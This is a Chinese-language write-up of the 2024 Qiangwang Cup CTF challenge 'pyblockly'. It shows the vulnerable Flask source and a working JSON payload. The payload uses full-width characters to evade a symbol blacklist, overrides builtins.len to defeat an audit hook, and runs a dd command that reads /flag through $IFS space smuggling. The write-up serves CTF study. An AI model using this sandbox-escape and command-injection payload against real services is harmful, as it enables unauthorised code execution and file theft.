pyblockly（2024强网杯）题解
补充知识：
1.unidecode.unidecode(original_text)函数
unidecode是一个python库，它将Unicode文本转换为最接近的ASCII表示
示例：
import unidecode # 示例1: 带音调的字母 print(unidecode.unidecode("café")) # 输出: "cafe" print(unidecode.unidecode("naïve")) # 输出: "naive" # 示例2: 非拉丁字母 print(unidecode.unidecode("北京")) # 输出: "Bei Jing" print(unidecode.unidecode("東京")) # 输出: "Dong Jing" # 示例3: 特殊符号 print(unidecode.unidecode("©")) # 输出: "(c)" print(unidecode.unidecode("½")) # 输出: "1/2"通常中文输入法是全角，英文输入法是半角。上述函数会将全角字符转化成半角字符，英文ASCII字符集只包含半角字符。在输入法状态栏右键能转换全角和半角。
题目：
from flask import Flask, request, jsonify import re import unidecode import string import ast import sys import os import subprocess import importlib.util import json app = Flask(__name__) app.config['JSON_AS_ASCII'] = False blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]" def module_exists(module_name): spec = importlib.util.find_spec(module_name) if spec is None: return False if module_name in sys.builtin_module_names: return True if spec.origin: std_lib_path = os.path.dirname(os.__file__) if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()): return True return False def verify_secure(m): for node in ast.walk(m): match type(node): case ast.Import: print("ERROR: Banned module ") return False case ast.ImportFrom: print(f"ERROR: Banned module {node.module}") return False return True def check_for_blacklisted_symbols(input_text): if re.search(blacklist_pattern, input_text): return True else: return False def block_to_python(block): block_type = block['type'] code = '' if block_type == 'print': text_block = block['inputs']['TEXT']['block'] text = block_to_python(text_block) code = f"print({text})" elif block_type == 'math_number': if str(block['fields']['NUM']).isdigit(): code = int(block['fields']['NUM']) else: code = '' elif block_type == 'text': if check_for_blacklisted_symbols(block['fields']['TEXT']): code = '' else: code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'" elif block_type == 'max': a_block = block['inputs']['A']['block'] b_block = block['inputs']['B']['block'] a = block_to_python(a_block) b = block_to_python(b_block) code = f"max({a}, {b})" elif block_type == 'min': a_block = block['inputs']['A']['block'] b_block = block['inputs']['B']['block'] a = block_to_python(a_block) b = block_to_python(b_block) code = f"min({a}, {b})" if 'next' in block: block = block['next']['block'] code +="\n" + block_to_python(block)+ "\n" else: return code return code def json_to_python(blockly_data): block = blockly_data['blocks']['blocks'][0] python_code = "" python_code += block_to_python(block) + "\n" return python_code def do(source_code): hook_code = ''' def my_audit_hook(event_name, arg): blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"] if len(event_name) > 4: raise RuntimeError("Too Long!") for bad in blacklist: if bad in event_name: raise RuntimeError("No!") __import__('sys').addaudithook(my_audit_hook) ''' print(source_code) code = hook_code + source_code tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST) try: if verify_secure(tree): with open("run.py", 'w') as f: f.write(code) result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8") os.remove('run.py') return result else: return "Execution aborted due to security concerns." except: os.remove('run.py') return "Timeout!" @app.route('/') def index(): return app.send_static_file('index.html') @app.route('/blockly_json', methods=['POST']) def blockly_json(): blockly_data = request.get_data() print(type(blockly_data)) blockly_data = json.loads(blockly_data.decode('utf-8')) print(blockly_data) try: python_code = json_to_python(blockly_data) return do(python_code) except Exception as e: return jsonify({"error": "Error generating Python code", "details": str(e)}) if __name__ == '__main__': app.run(host = '0.0.0.0')解题：
这里使用的payload为：
{ "blocks":{ "blocks":[ { "type":"text", "fields":{ "TEXT":"‘\n＿＿import＿＿（”builtins”）。len＝lambda a：1；＿＿import＿＿（‘os’）。system（‘dd＄IFS＄9if＝／flag’）＃" }, "inputs":{ } } ] } }1.先复现题目环境
进入app.py所在目录，执行python app.py
访问http://127.0.0.1:5000/进入题目环境，因为在app.py中显示ifname== 'main': app.run(host='0.0.0.0') 这里并没有指定端口，flask默认使用5000，如果5000被占用可能自动选择其他。
2.使用POST请求将上面的payload传入后，request.get_data()返回的是原始字节数据，假设传入如下blockly_data =b'{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n＿＿import＿＿（”builtins”）。len＝lambda a：1；＿＿import＿＿（‘os’）。system（‘ls＄IFS＄9／’）＃"},"inputs":{}}]}}'，前面的b'表示这是字节数据，不是普通字符串。blockly_data.decode('utf-8')解码为字符串，得到'{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n＿＿import＿＿（”builtins”）。len＝lambda a：1；＿＿import＿＿（‘os’）。system（‘ls＄IFS＄9／’）＃"},"inputs":{}}]}}'。json.loads(json_string)的意思是：将JSON字符串解析为Python字典。所以最后得到python字典，blockly_data={"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n＿＿import＿＿（”builtins”）。len＝lambda a：1；＿＿import＿＿（‘os’）。system（‘ls＄IFS＄9／’）＃"},"inputs":{}}]}}
blockly_data = request.get_data() blockly_data = json.loads(blockly_data.decode('utf-8'))3.然后进入json_to_python函数，block={"type":"text","fields":{"TEXT":"‘\n＿＿import＿＿（”builtins”）。len＝lambda a：1；＿＿import＿＿（‘os’）。system（‘ls＄IFS＄9／’）＃"},"inputs":{}}
def json_to_python(blockly_data): block = blockly_data['blocks']['blocks'][0] python_code = "" python_code += block_to_python(block) + "\n" return python_code4.进入block_to_python函数，因为block传入的类型是text，所以对其进行黑名单检查，传入的参数为"‘\n＿＿import＿＿（”builtins”）。len＝lambda a：1；＿＿import＿＿（‘os’）。system（‘dd＄IFS＄9if＝／flag’）＃"
elif block_type == 'text': if check_for_blacklisted_symbols(block['fields']['TEXT']): code = '' else: code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"5.re.search()搜索传入字符串有没有上面黑名单字符，由于黑名单字符使用的是半角，传入字符串使用的都是全角，所以没有匹配的字符，返回False，所以执行步骤4里面的else，将字符串内容转化为ASCII字符，也就是转变成半角格式，可以被正常读取。最后返回的code="'`\n__import__("builtins").len=lambda a:1;__import__('os').system('dd$IFS$9if=/flag')#'"
def check_for_blacklisted_symbols(input_text): if re.search(blacklist_pattern, input_text): return True else: return False6.再看主函数，接着进入do函数，将步骤5里面的code和下面的hook_code进行拼接为code，并且写入run.py
def do(source_code): hook_code = ''' def my_audit_hook(event_name, arg): blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"] if len(event_name) > 4: raise RuntimeError("Too Long!") for bad in blacklist: if bad in event_name: raise RuntimeError("No!") __import__('sys').addaudithook(my_audit_hook) ''' print(source_code) code = hook_code + source_code tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST) try: if verify_secure(tree): with open("run.py", 'w') as f: f.write(code) result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8") os.remove('run.py') return result else: return "Execution aborted due to security concerns." except: os.remove('run.py') return "Timeout!"最后得到的run.py为
def my_audit_hook(event_name, arg): blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"] if len(event_name) > 4: raise RuntimeError("Too Long!") for bad in blacklist: if bad in event_name: raise RuntimeError("No!") __import__('sys').addaudithook(my_audit_hook) ''\n__import__("builtins").len=lambda a:1;__import__('os').system('dd$IFS$9if=/flag')#'result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5)这相当于在命令行执行python run.py，后面的stdout.decode("utf-8")意思是将字符输出解码为UTF-8字符串
7.执行run.py时，python遇到最后一行时一个独立的字符串表达式，它创建字符串对象并且执行字符串中的表达式。__import__("builtins").len=lambda a:1;导入builtins模块并重写len函数，使得上面的长度判断通过，import('os').system('dd$IFS$9if=/flag')导入os模块并运行系统命令，执行dd if=/flag，这里使用dd是磁盘复制，$IFS空格，$9位置参数，用来把$IFS和后面的命令分隔开，if是input file 输入文件，/flag读取文件路径。
import是python语句（语法关键字）
import是内置函数调用
import os和os=import("os")的效果相同
import sys时就会自动加载builtins，所以import("builtins").len=lambda a:1;没有新的导入行为发生，只是简单赋值，所以没有引起审计钩子，下面的builtins.len只是简单赋值，也不会触发审计钩子。